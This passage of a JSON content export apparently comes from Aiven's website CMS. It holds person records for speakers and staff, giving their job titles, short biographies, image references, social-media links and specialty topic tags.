Collins","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jonnocollins/"}} {"__i18n_lang":"en","_createdAt":"2023-06-14T10:46:15Z","_id":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_rev":"97ScSe1K9UIWVy4zLdiEZf","_type":"person","_updatedAt":"2023-10-20T14:30:31Z","author":{"_ref":"d85943fb-1e96-4f71-84f9-91011d917141","_type":"reference"},"bio":[{"_key":"803980eb745b","_type":"block","children":[{"_key":"bccfe07f93480","_type":"span","marks":[],"text":"Ben has spent over 10 years leading engineering in startups and high-growth companies. As a founder, a CTO, a producer and a product leader he's bridged the gap between research and product development. Having worked with the cutting edge of augmented reality, scaling 3D gaming, and same day logistics, he’s no stranger to taking on technical challenges, and the commercial realities that entails. Having found a home in DevRel in recent times, Ben now works to make real-time data a reality for anyone who needs it with open source tools and shared ideas."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Ben Gamble","asset":{"_ref":"image-d939a6d7e950c5020ea416bff9f5caaea4cd0a7b-891x1200-jpg","_type":"reference"}},"jobTitle":"Enterprise \u0026 Solutions Marketing Lead, Aiven","location":"Cambridge, UK","name":"Ben Gamble","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm52y","role":"dev-rel","slug":{"_type":"slug","current":"/ben-gamble"},"socialLink":{"_type":"socialLink","github":"https://github.com/Ugbot","linkedIn":"https://www.linkedin.com/in/bengamble7/","mastodon":"https://hachyderm.io/@bengamble7","twitter":"https://twitter.com/BenGamble7"},"specialtyTopicTags":["Kafka","Stream processing","Games developement","Performance engineering","GPU compute","Machine learning","AWS serverless","Websockets","MQTT"]} {"__i18n_lang":"en","_createdAt":"2024-01-25T18:32:10Z","_id":"c1bcbfc7-919f-40ff-8413-abdb339e725d","_rev":"ZLvKaZvfbZlWBlGcpCKiLH","_type":"person","_updatedAt":"2024-01-25T18:32:10Z","image":{"_type":"mainImage","asset":{"_ref":"image-29103a75bcae4a19948bc18b781f4405091ea0b1-356x438-jpg","_type":"reference"}},"jobTitle":"Technical Account Manager, Aiven","name":"Rohan Mehta"} {"__i18n_lang":"en","_createdAt":"2023-05-08T10:48:49Z","_id":"39de7edc-e73b-4450-8643-685356de411c","_rev":"Hy6BoZmBBtqgKFSht1cjNh","_type":"person","_updatedAt":"2024-05-30T16:09:00Z","author":{"_ref":"4qffmcVsFWCkdzfsRDzQ4N","_type":"reference"},"bio":[{"_key":"26d9d98c2b7a","_type":"block","children":[{"_key":"75580b13879b","_type":"span","marks":[],"text":"Tibs has spent most of their career as a software developer, working in digital mapping, embedded Linux, and backend cloud services. At the start of 2022, they moved to Aiven and Developer Relations, where they get to learn about cool stuff and help others understand how to use it."}],"markDefs":[],"style":"normal"},{"_key":"5c46065881fa","_type":"block","children":[{"_key":"68cc7552c354","_type":"span","marks":[],"text":"They are fascinated with documentation and how it is written, and have spoken on the history of text markup, and on mechanisms for automated \"linting\" of text."}],"markDefs":[],"style":"normal"},{"_key":"118979d94b41","_type":"block","children":[{"_key":"4ea9accb8d07","_type":"span","marks":[],"text":"They have attended PyCon UK since its inception, and ran the Cambridge Python User Group (CamPUG) from 2007-2022."}],"markDefs":[],"style":"normal"},{"_key":"e7b677196099","_type":"block","children":[{"_key":"78214c4d3b27","_type":"span","marks":[],"text":"Pronouns are they/them or he/him."}],"markDefs":[],"style":"normal"},{"_key":"8e44c7febeb9","_type":"block","children":[{"_key":"4f402c744e59","_type":"span","marks":[],"text":""}],"markDefs":[{"_key":"c7fb0999ad2a","_type":"link","href":"https://go.aiven.io/tibs-signup"}],"style":"normal"}],"image":{"_type":"mainImage","alt":"Tibs (Tony Ibbs)","asset":{"_ref":"image-5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb-2101x2101-png","_type":"reference"}},"jobTitle":"Developer Educator, Aiven","location":"Cambridge, UK","name":"Tibs","pardotForm":"https://go.aiven.io/l/890043/2023-09-11/sztzk","role":"dev-rel","slug":{"_type":"slug","current":"/tibs"},"socialLink":{"_type":"socialLink","github":"https://github.com/TibsAtWork","linkedIn":"https://www.linkedin.com/in/tony-ibbs","mastodon":"https://hachyderm.io/@much_of_a","twitter":"https://www.twitter.com/much_of_a","website":"https://tonyibbs.co.uk"},"specialtyTopicTags":["Python","C","Ruby","Text markup","Vale","Sphinx","PostgreSQL","OpenSearch","Kafka","Terraform","Backup","FLOSS licensing"]} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:02:40Z","_id":"f0cfb02d-c844-4c22-95cf-7e93687249f0","_rev":"pSrA0vvOUlEaOistjqvzxV","_type":"person","_updatedAt":"2024-02-12T14:02:40Z","image":{"_type":"mainImage","asset":{"_ref":"image-09b5c7d97f9ddabd062db02eef38437390c7384e-400x400-jpg","_type":"reference"}},"jobTitle":"Principal Software Engineer, Red Hat","name":" Pavol Loffay"} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:21:15Z","_id":"24b0e69d-04af-4f3d-bd2a-8dad8174c610","_rev":"an7gD8zjUNPtFwnayb5Bmv","_type":"person","_updatedAt":"2024-02-12T14:21:15Z","image":{"_type":"mainImage","asset":{"_ref":"image-ea2058485e0fb8a57a7e5f190f4671391d366ae9-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Jean-François Gagné","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jfg956/"}} {"__i18n_lang":"en","_createdAt":"2024-08-14T19:40:42Z","_id":"eb53a905-c13a-43b1-8b3d-0a79cd8f8243","_rev":"ZQ0u11pKTSx7hTYiaGGMPL","_type":"person","_updatedAt":"2024-08-14T20:09:21Z","bio":[{"_key":"4fef4750cb49","_type":"block","children":[{"_key":"485cbdbcf5b30","_type":"span","marks":[],"text":"Jess Ambriz is a results-driven ISV Partner Engineer at Google with 3 years of experience empowering Data \u0026 Analytics Partners. She has a proven track record of helping partners leverage Google's Cloud Platform to solve complex data challenges and drive business growth."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-9e5c5708f125058871d63697871d7ba7a9cdc16d-800x800-jpg","_type":"reference"}},"jobTitle":"ISV Partner Engineer Google","name":"Jess Ambriz","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jessicaambriz/"}} {"__i18n_lang":"en","_createdAt":"2024-12-03T07:39:46Z","_id":"6e39f77d-98aa-41ff-972f-bbe610fd8914","_rev":"TZseqjnC3npGl19UZWjVpH","_type":"person","_updatedAt":"2024-12-03T07:39:46Z","image":{"_type":"mainImage","asset":{"_ref":"image-08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd-800x800-jpg","_type":"reference"}},"jobTitle":"CEO at Avanoro","name":"Carita Weiss"} {"__i18n_lang":"en","_createdAt":"2024-12-03T07:45:47Z","_id":"6197307b-7d0d-40f8-81bd-056ac88f097f","_rev":"MBEnA07qAFzHqjXn9whvNV","_type":"person","_updatedAt":"2024-12-03T07:45:47Z","image":{"_type":"mainImage","asset":{"_ref":"image-d4630726b4e50510894753c066ae121718dbe01f-467x467-jpg","_type":"reference"}},"jobTitle":"Payment Manager at Coop","name":"Tobias Sakket"} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:55:58Z","_id":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_rev":"ycZLzX6sPt1hWNW5Noxwvo","_type":"person","_updatedAt":"2024-03-01T18:51:56Z","bio":[{"_key":"482daea25bf7","_type":"block","children":[{"_key":"1b60f70b204d0","_type":"span","marks":[],"text":"Jay Miller is a Staff Developer Advocate and long term advocate for building developer communities. Jay has been a contributor to the Python Community ecosystem and has participated in many user groups and conferences."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d50e73d40655468063767858106a71f8028affa7-684x684-jpg","_type":"reference"}},"jobTitle":"Staff Developer Advocate, Aiven","location":"Atlanta, GA, United States","name":"Jay Miller","role":"dev-rel","slug":{"_type":"slug","current":"/jay-miller"},"socialLink":{"_type":"socialLink","email":"jay.miller@aiven.io","github":"https://github.com/kjaymiller/","linkedIn":"https://linkedin.com/in/kjaymiller","mastodon":"https://mastodon.social/@kjaymiller","twitter":"https://twitter.com/kjaymiller","website":"https://kjaymiller.com"},"specialtyTopicTags":["Community","Open Source","Python","Python Web Development"]} {"__i18n_lang":"en","_createdAt":"2024-01-05T15:57:28Z","_id":"b1d46bf2-e091-4bea-a535-7a45bfb8681e","_rev":"O0EfMG90JIl2OD8UsH5Pz3","_type":"person","_updatedAt":"2024-01-08T12:26:32Z","bio":[{"_key":"541acb9f25b0","_type":"block","children":[{"_key":"b8e548ed0d610","_type":"span","marks":[],"text":"As a curious and motivated self-learner, Kelsey Hightower gained an interest in computing at a young age, and started his IT career by opening a small consulting shop 20 years ago. From those beginnings his career progressed quickly, eventually passing through the halls of Google, Puppet Labs, New Relic and CoreOS."}],"markDefs":[],"style":"normal"},{"_key":"b489b5351dfd","_type":"block","children":[{"_key":"bad478b1d591","_type":"span","marks":[],"text":"Hightower is a system administrator by trade, a programmer by necessity, but a problem-solver at heart. With a passion for helping others, many successful speaking and teaching engagements under his belt, and a proven track record of getting things done and enabling others, he hopes to solve the many problems facing IT culture by equipping people with the mental and computational software they need to succeed in the competitive world of technology."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-3df6f9073819fccc040eb1eed2fbe56e8120f482-6720x4480-jpg","_type":"reference"}},"jobTitle":"Distinguished Engineer","name":"Kelsey Hightower","slug":{"_type":"slug","current":"/kelsey-hightower"},"socialLink":{"_type":"socialLink","twitter":"https://twitter.com/kelseyhightower"}} {"__i18n_lang":"en","_createdAt":"2024-01-05T17:03:16Z","_id":"f5374bfb-b493-47c2-91a7-5f9ea46e954b","_rev":"2NRF14ypplMhiTpuANj0lA","_type":"person","_updatedAt":"2024-01-08T18:32:31Z","bio":[{"_key":"a04c8fedb4b4","_type":"block","children":[{"_key":"b102b0a8cfda0","_type":"span","marks":[],"text":"Ritu Jyoti is Group Vice President, Worldwide Artificial Intelligence (AI) and Automation Research with IDC's software market research and advisory practice responsible for leading the development of IDC's thought leadership for AI Research and management of the Worldwide AI and Automation Software research team."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ca716af4f369f6f6e177a165cf726f8bad895040-800x800-png","_type":"reference"}},"jobTitle":"Group Vice President, Worldwide Artificial Intelligence (AI) and Automation Research, IDC","name":"Ritu Jyoti","slug":{"_type":"slug","current":"/ritu-jyoti"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/ritujyoti"}} {"__i18n_lang":"en","_createdAt":"2024-01-26T14:38:17Z","_id":"a7c39be0-675c-4607-95fc-05d6b8c714d4","_rev":"VeNKqGNmt13PzvGhqp50FQ","_type":"person","_updatedAt":"2024-01-26T14:39:24Z","image":{"_type":"mainImage","asset":{"_ref":"image-ad73492ee72bb9e1160da9778c0fbe337033f8ba-860x860-jpg","_type":"reference"}},"jobTitle":"ESG lead, Aiven","name":"Daniel Ortiz","slug":{"_type":"slug","current":"/daniel-ortiz"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/ortiz-daniel"}} {"__i18n_lang":"en","_createdAt":"2024-01-29T17:05:33Z","_id":"5d89bbe1-592a-4057-89f9-ff7769ba37c8","_rev":"VeNKqGNmt13PzvGhqsaVxG","_type":"person","_updatedAt":"2024-01-29T17:05:50Z","image":{"_type":"mainImage","asset":{"_ref":"image-806f59cc0ce26bb463bd2a78676af06987b32b1d-923x1184-png","_type":"reference"}},"jobTitle":"Head, Amazon Open Source Program Office","name":"Nithya Ruff","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/nithyaruff/"}} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:07:16Z","_id":"2d7b9238-8e7e-40dd-9ccc-4ecbba33d8d8","_rev":"VeNKqGNmt13PzvGhqu8c0c","_type":"person","_updatedAt":"2024-01-30T14:03:12Z","content":[{"_key":"febcbb790b90","_type":"block","children":[{"_key":"beca2b63d4e70","_type":"span","marks":[],"text":"\"Almost every project I'm working on is more complex than the previous one. That is why I'm at Aiven, I have found very challenging and interesting projects to work on.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-6c2b1c65985eb1ab7b66a67a81394ac20ca956c8-1000x1000-jpg","_type":"reference"}},"jobTitle":"Staff Engineer, Aiven","name":"Olena Babenko","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/melhelen/"}} {"__i18n_lang":"en","_createdAt":"2024-02-06T08:55:12Z","_id":"dd8433d4-b36b-4360-82aa-2f1e486f5198","_rev":"8mGThtWzkZE49nEaO9u8js","_type":"person","_updatedAt":"2024-02-06T08:56:23Z","image":{"_type":"mainImage","asset":{"_ref":"image-9f08ed7cea23c6adbc036d87118bbac6cb4e9ee3-512x512-png","_type":"reference"}},"jobTitle":"Senior Data Platform Engineer at Dojo","name":"Elad Leev","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/elad-leev/"}} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:07:43Z","_id":"8ae03aef-94ad-4951-9476-17aaa6e88406","_rev":"pSrA0vvOUlEaOistjqwJ0p","_type":"person","_updatedAt":"2024-02-12T14:07:43Z","image":{"_type":"mainImage","asset":{"_ref":"image-ea12a275f652598ab347879fea2f02eef344476e-400x400-jpg","_type":"reference"}},"jobTitle":"Site Reliability Engineer, Vinted","name":"Giedrius Statkevičius"} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:11:00Z","_id":"6f0e3beb-cde1-4c25-bac5-5f06ca7efd82","_rev":"an7gD8zjUNPtFwnayb5G7P","_type":"person","_updatedAt":"2024-02-12T14:21:51Z","image":{"_type":"mainImage","alt":"Mikhail Koviazin","asset":{"_ref":"image-d5a48d3323de63291f5e7cbef0d321506ee8e838-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Mikhail Koviazin","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/mkmkme/"}} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:07:11Z","_id":"30201842-1790-4799-968c-e601394e9255","_rev":"pSrA0vvOUlEaOistjqwFBY","_type":"person","_updatedAt":"2024-02-12T14:07:11Z","image":{"_type":"mainImage","asset":{"_ref":"image-d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec-400x400-jpg","_type":"reference"}},"jobTitle":"Senior Site Reliability Engineer, Aiven","name":"Michael Hoffman"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:30:18Z","_id":"e1afff0d-cbdf-4500-acac-b43fb0ca6bbc","_rev":"on5KSabgAN0raW406e3Rfj","_type":"person","_updatedAt":"2024-02-12T10:58:23Z","image":{"_type":"mainImage","asset":{"_ref":"image-49a93b6a85f3f16d430bf9a657facbf6bcdb5457-512x512-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Mirjam Aulbach"} {"__i18n_lang":"en","_createdAt":"2024-03-04T12:32:40Z","_id":"227f94aa-18e0-42ad-8ba0-a7c79e4b25a1","_rev":"lOjT7PtXQdXnhE8aJo0Nr5","_type":"person","_updatedAt":"2024-03-05T10:40:52Z","author":{"_ref":"d977412a-dccc-4cae-b1f6-57a4ba635139","_type":"reference"},"bio":[{"_key":"70cf5a5c48fb","_type":"block","children":[{"_key":"2a33daa2b2ef0","_type":"span","marks":[],"text":"I was born to code. "}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Nick Chiu","asset":{"_ref":"image-7c384d0899876a5ba95dab54ecc9afd50604cd49-400x400-jpg","_type":"reference"}},"jobTitle":"Engineering Manager at JobCloud","location":"Zurich, Switzerland","name":"Nick Chiu","role":"community-advocates","slug":{"_type":"slug","current":"/nick-chiu"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/nickzh/"},"specialtyTopicTags":[""]} {"__i18n_lang":"en","_createdAt":"2024-03-04T12:37:03Z","_id":"2d49370c-ff4e-43d0-bd6f-9c09365fe58e","_rev":"lOjT7PtXQdXnhE8aJo0MwE","_type":"person","_updatedAt":"2024-03-05T10:40:32Z","bio":[{"_key":"4a1def9fc4e3","_type":"block","children":[{"_key":"d916058419160","_type":"span","marks":[],"text":"Writing code since late 90's, from microcontrollers to distributed big data solutions."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Paul Rogalinski-Pinter","asset":{"_ref":"image-ed77135670acadbbfd4af9bbc7a67dae6b254e88-1156x1175-jpg","_type":"reference"}},"jobTitle":"Lead Software Engineer, 4screen","location":"Munich, Germany","name":"Paul Rogalinski-Pinter","role":"community-advocates","slug":{"_type":"slug","current":"/paul-rogalinski-pinter"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/paulrogalinski/"},"specialtyTopicTags":["Kafka","ClickHouse","Spark","Java","Scala","Kotlin","Rust","PostgreSQL","Open Source"]} {"__i18n_lang":"en","_createdAt":"2024-03-04T13:06:18Z","_id":"426b592c-6272-43d5-8709-17ad876a70c6","_rev":"lOjT7PtXQdXnhE8aJo0c6E","_type":"person","_updatedAt":"2024-03-05T10:43:05Z","bio":[{"_key":"f1eaf74c1c33","_type":"block","children":[{"_key":"cb23a005cc1e0","_type":"span","marks":[],"text":"I'm a holistic system software engineer, PostgreSQL solutions architect at EDB, air guitar player and headbanger. I got my PhD researching distributed self-managing systems and I have been working with PostgreSQL since version 9.1. In 2018 I started the PostgreSQL User Group in Belgium. I have presented in many conferences in academia, open source, and Postgres. I’m also a co-author of the PostgreSQL 16 Administration Cookbook. To me, knowledge sharing is an important part of contributing to the PostgreSQL community, and I have fun doing it."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Boriss Mejías","asset":{"_ref":"image-a15fd5e980638843f95a69ee755a040ecb71110b-1024x1024-jpg","_type":"reference"}},"jobTitle":"Solution Architect, EDB","location":"Belgium","name":"Boriss Mejías","role":"community-advocates","slug":{"_type":"slug","current":"/boriss-mejias"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/boriss-mej%C3%ADas-4637401/","twitter":"https://twitter.com/tchorix","website":"https://dev.to/bmejias"},"specialtyTopicTags":["PostgreSQL","Open Source","Air Gui"]} {"__i18n_lang":"en","_createdAt":"2022-12-16T06:50:46Z","_id":"692751eb-bf39-48ad-b8f7-92a6872d8b79","_rev":"vLPPjjcbeECFTbnAfdq3eg","_type":"person","_updatedAt":"2023-06-27T10:25:01Z","image":{"_type":"mainImage","alt":"Sanna Putila - DEI lead Aiven","asset":{"_ref":"image-db772a0a2f466e9a7ecd868fe6743132364e7ad4-800x800-jpg","_type":"reference"}},"jobTitle":"DEI Lead, Aiven","name":"Sanna Putila","socialLink":{"_type":"socialLink","email":"sanna.putila@aiven.io","linkedIn":"https://www.linkedin.com/in/sanna-putila-934ba329/"}} {"__i18n_lang":"en","_createdAt":"2023-09-14T13:39:43Z","_id":"0048cb5c-3854-469f-ae3b-b345774c1047","_rev":"nIqfZ21DDrS6YPLJdw65Ll","_type":"person","_updatedAt":"2023-09-15T07:22:36Z","bio":[{"_key":"bfde408fe1ba","_type":"block","children":[{"_key":"9663574199e4","_type":"span","marks":[],"text":"We are eager to announce our guest soon!"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-7c4077901b0a192307ae9227576cbbd731df51c4-500x500-jpg","_type":"reference"}},"jobTitle":"TBA","name":"Special Guest","slug":{"_type":"slug","current":"/special-guest"}} {"__i18n_lang":"en","_createdAt":"2024-08-14T15:47:49Z","_id":"05beb507-1a11-4502-b113-c0715fdac00a","_rev":"s0dP0dEg2u16GKIcfkEZV3","_type":"person","_updatedAt":"2024-08-14T15:50:30Z","image":{"_type":"mainImage","asset":{"_ref":"image-27689aa28d089658017e97d12ab97af304060dc5-685x685-jpg","_type":"reference"}},"jobTitle":"Staff Software Engineer, Kroo Bank","name":"Andrey Fadeev"} {"__i18n_lang":"en","_createdAt":"2024-03-26T12:58:48Z","_id":"0623955a-c25c-427a-aa8e-15d727634290","_rev":"Mwja7swPJspBVknlrRYK1g","_type":"person","_updatedAt":"2024-04-02T07:15:15Z","bio":[{"_key":"14f9eec86c82","_type":"block","children":[{"_key":"7f8d26d714e10","_type":"span","marks":[],"text":"Started in IT world back in 2010, got into IT very keen to learn the trade. This is when the first real contact with SQL language occurred. This sparked the curiosity and the motivation to understand how things work. Now I'm a DBA focusing in PostgreSQL."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Diogo Passadouro","asset":{"_ref":"image-d6cf5388beefa874039eeba86e77f486e4b957ca-1130x1141-jpg","_type":"reference"}},"jobTitle":"DBA Team Lead, La Redoute","location":"Leiria, Portugal","name":"Diogo Passadouro","role":"community-advocates","slug":{"_type":"slug","current":"/diogo-passadouro"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/dpassadouro/"},"specialtyTopicTags":["PostgeSQL","Open Source","Cloud"]} {"__i18n_lang":"en","_createdAt":"2023-10-19T12:34:21Z","_id":"06351859-4133-4e23-8ce0-c21b375ab138","_rev":"1Lf0lTITu85vuB356R3aWr","_type":"person","_updatedAt":"2023-10-25T14:49:29Z","bio":[{"_key":"5a44b1043bad","_type":"block","children":[{"_key":"43c5df81e33c0","_type":"span","marks":[],"text":"Phil Leggetter is an experienced Developer Relations, Developer Experience, and DevTools PLG leader with experience guiding startups through growth, acquisition, and accelerated growth at a publicly traded enterprise."}],"markDefs":[],"style":"normal"},{"_key":"6409c5286394","_type":"block","children":[{"_key":"b31a842bac74","_type":"span","marks":[],"text":"\nPhil has spent all of his career building software experiences to maximize developer productivity at companies such as Pusher (acquired by Message Bird), Nexmo (Acquired by Vonage), and most recently Hookdeck, an Event Gateway that enables engineering teams to build, test, deploy, maintain, and observe event-driven applications."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-9642d5388812df67abc3b1324f60e4ebe6bc38b2-1200x1200-jpg","_type":"reference"}},"jobTitle":"Head of Developer Relations \u0026 PLG, Hookdeck","name":"Phil Leggetter","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/leggetter/"}} {"__i18n_lang":"en","_createdAt":"2023-06-14T11:37:10Z","_id":"09143464-8f84-4bd5-abcc-b053c9031383","_rev":"jBJgpqpGruZvOgVMUGkeck","_type":"person","_updatedAt":"2023-09-11T09:07:52Z","author":{"_ref":"794a9c45-685d-4fe9-85c6-fe22532ca57c","_type":"reference"},"bio":[{"_key":"f620a313473e","_type":"block","children":[{"_key":"53da15d7a1e20","_type":"span","marks":[],"text":"Angie has been scaling developer communities for over 20 years, most recently as Principal Community Manager at MongoDB, and prior to that in the Drupal open source project where she acted as a core committer and product manager. She has been passionate about the immense potential of open source from before the name was coined, and got her start contributing as a Google Summer of Code student back in 2005."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Angie Byron","asset":{"_ref":"image-b2e699d6f8646facc8f508f6b1a589e6f66813f4-902x1200-jpg","_type":"reference"}},"jobTitle":"Director of Community, Aiven","location":"Vancouver, BC, Canada","name":"Angie Byron","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm532","role":"dev-rel","slug":{"_type":"slug","current":"/angie-byron"},"socialLink":{"_type":"socialLink","github":"https://github.com/webchick","linkedIn":"https://www.linkedin.com/in/webchick","mastodon":"https://mastodon.social/@webchick","twitter":"https://twitter.com/webchick","website":"https://webchick.net/"},"specialtyTopicTags":["Community","Open Source","PHP","MySQL"]} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:36:24Z","_id":"0beaf35d-9499-44f6-819b-3cdc512b7e17","_rev":"VrdcoLtXxUWed6PHr7w5i8","_type":"person","_updatedAt":"2022-12-09T11:40:48Z","image":{"_type":"mainImage","alt":"Chris Egerton","asset":{"_ref":"image-2eae525a9ea343458892ca0bdc1e89ad0d83af52-512x512-jpg","_type":"reference"}},"jobTitle":"Staff Open Source Developer","name":"Chris Egerton"} {"__i18n_lang":"en","_createdAt":"2023-05-03T10:20:44Z","_id":"0c3e3b0b-7c53-423e-9be2-4383a1ceba5b","_rev":"y8za1pyupxfzzZcqgnnviR","_type":"person","_updatedAt":"2023-05-03T12:03:04Z","image":{"_type":"mainImage","asset":{"_ref":"image-6e90fc01bdfb5bfb164e298bd8f64994847611b2-512x512-jpg","_type":"reference"}},"jobTitle":"Engineering Manager","name":"Kevin Webber"} {"__i18n_lang":"en","_createdAt":"2023-10-19T12:39:55Z","_id":"0f1f8df8-71af-43f8-b433-d036748c2043","_rev":"dWOXoeBNhMRLotF8JXvBsB","_type":"person","_updatedAt":"2023-10-25T14:49:21Z","bio":[{"_key":"e0c1370baed3","_type":"block","children":[{"_key":"f0227f8706bb0","_type":"span","marks":[],"text":"Sandeep is a seasoned professional in the field of Data Platform Engineering. As the Data Platform Engineering Lead at Dojo, he plays a pivotal role in designing and building self-serve data platforms within a data mesh architecture. With a rich background in developing real-time distributed data processing solutions at esteemed organisations like Babylon, Funding Circle, and Worldpay, Sandeep brings a wealth of practical experience to his work."}],"markDefs":[],"style":"normal"},{"_key":"27e6b88c70e4","_type":"block","children":[{"_key":"214010b702c8","_type":"span","marks":[],"text":"\nBeyond his professional achievements, Sandeep possesses an insatiable curiosity for emerging technologies. He dedicates his spare time to continuous learning and staying abreast of the latest advancements in the industry. With a genuine passion for knowledge sharing, Sandeep enjoys writing about new technologies, contributing to the collective growth and understanding of the community."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-79ae9615a5e9a374c2f9b59c9a651d0077894305-1520x1900-jpg","_type":"reference"}},"jobTitle":"Engineering Lead Data Platforms, Dojo","name":"Sandeep Mehta","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/sandeep-mehta26/","website":"https://www.dojo.careers/blog/data-tech-product/data-platform-engineering-at-dojo/"}} {"__i18n_lang":"en","_createdAt":"2023-10-03T15:08:04Z","_id":"129d464a-eeda-4709-b8bb-e5f81f0c592a","_rev":"OlHhyDbudqKag6cjyDD8oY","_type":"person","_updatedAt":"2023-10-03T15:10:05Z","image":{"_type":"mainImage","asset":{"_ref":"image-890f824786fe9741519e15a64b84684b73f3dfab-1711x1555-png","_type":"reference"}},"jobTitle":"Senior Developer Advocate, Google Cloud","name":"Kaslin Fields","socialLink":{"_type":"socialLink","email":"kaslin@google.com","linkedIn":"https://www.linkedin.com/in/kaslinfields/"}} {"__i18n_lang":"en","_createdAt":"2024-08-22T08:11:48Z","_id":"1724e909-318e-4411-9726-7f5e83c5e995","_rev":"CeWfIJZcWglMDZJJjJnhwZ","_type":"person","_updatedAt":"2024-08-22T08:11:48Z","image":{"_type":"mainImage","asset":{"_ref":"image-12ef81b6256c323314f28e0c762ed13e13007b2c-712x1066-jpg","_type":"reference"}},"jobTitle":"Head of SRE \u0026 Cloud Technology, Conrad Electronic","name":"Janek Wonner"} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:50:06Z","_id":"1bc15bd4-5613-410d-9528-65d393b01abb","_rev":"VeNKqGNmt13PzvGhqkcKqy","_type":"person","_updatedAt":"2024-01-24T01:50:06Z","image":{"_type":"mainImage","asset":{"_ref":"image-f04c5bfb23ea34566eaaf149d778df17c01f4461-800x800-jpg","_type":"reference"}},"jobTitle":"Staff Software Engineer, New York Times","name":"Lesley Cordero","slug":{"_type":"slug","current":"/lesley-cordero"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/lesleycordero/"}} {"__i18n_lang":"en","_createdAt":"2023-03-16T18:28:08Z","_id":"207b429c-5f05-4328-b80d-ca1671d5c636","_rev":"0lF4kyZBi1fr8QymZ6KwIN","_type":"person","_updatedAt":"2023-03-16T18:28:08Z","bio":[{"_key":"a060f7f0c6f2","_type":"block","children":[{"_key":"d0773b6439dd0","_type":"span","marks":[],"text":"Mrinal is the Director of Platform development at Simplilearn. He is a result oriented technical leader with strong hands-on expertise in LAMP and MEAN stacks, people, process and stakeholder management. Have extensively worked in SDLC of large-scale enterprise applications for eCommerce and played a significant role in building the learning platform of Simplilearn."}],"markDefs":[],"style":"normal"},{"_key":"3eef3898389c","_type":"block","children":[{"_key":"4839acb2b7fd0","_type":"span","marks":[],"text":"Mrinal specializes in external system integrations and event based architecture, and has championed Apache Kafka to solve various business challenges facing organizations. Off work, he is an avid singer and guitarist and loves to jam with friends and family."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Mrinal Barua","asset":{"_ref":"image-14647c8ae9175c36c0782350a4bdb36f09e1cf0b-259x258-jpg","_type":"reference"}},"jobTitle":"Director of Platform Development, Simplilearn","name":"Mrinal Barua"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:31:39Z","_id":"2337cc95-224b-4a99-a396-7bdcd1d5c77f","_rev":"cwf6PSmkIH3MXtFHz0YKCE","_type":"person","_updatedAt":"2022-12-09T16:02:41Z","image":{"_type":"mainImage","asset":{"_ref":"image-2fc589ac6ba7dc6c6df7e5100382001755b77173-628x628-jpg","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Muralidhar Basani"} {"__i18n_lang":"en","_createdAt":"2022-12-05T15:37:47Z","_id":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_rev":"kaQ4ZWos4gq6sBfd7sK8c3","_type":"person","_updatedAt":"2023-09-20T13:21:06Z","bio":[{"_key":"d512c5d07a28","_type":"block","children":[{"_key":"5805eee1bd410","_type":"span","marks":[],"text":"Josep Prat is a Open Source Software Director at Aiven and is passionate about Open Source Technologies. With a strong background in Scala and distributed systems, he contributes to several Open Source Projects around streaming technologies. In his spare time, Josep enjoys late 